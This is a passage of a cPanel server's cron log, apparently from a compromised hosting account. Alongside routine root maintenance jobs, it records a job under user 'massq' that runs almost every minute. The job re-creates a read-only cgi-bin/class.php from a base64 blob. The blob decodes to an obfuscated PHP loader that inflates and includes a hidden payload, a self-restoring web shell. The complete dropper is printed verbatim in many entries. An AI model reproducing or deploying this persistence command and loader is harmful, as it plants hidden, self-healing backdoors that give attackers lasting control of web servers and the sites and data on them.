SkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:27:01 server CROND[2420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 12:27:01 server CROND[2421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:28:01 server CROND[2485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:29:01 server CROND[2538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:30:01 server CROND[2690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:30:01 server CROND[2691]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 12:30:01 server CROND[2694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:30:01 server CROND[2692]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 12:30:01 server CROND[2693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:31:01 server CROND[2805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:32:01 server CROND[2875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:33:01 server CROND[2937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:34:01 server CROND[2998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:35:01 server CROND[3155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:35:01 server CROND[3157]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 12:35:01 server CROND[3156]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 12:35:01 server CROND[3158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:35:01 server CROND[3159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:36:01 server CROND[3275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:37:01 server CROND[3314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:38:01 server CROND[3362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:39:01 server CROND[3418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:39:01 server CROND[3419]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 12:40:01 server CROND[3490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:40:01 server CROND[3491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
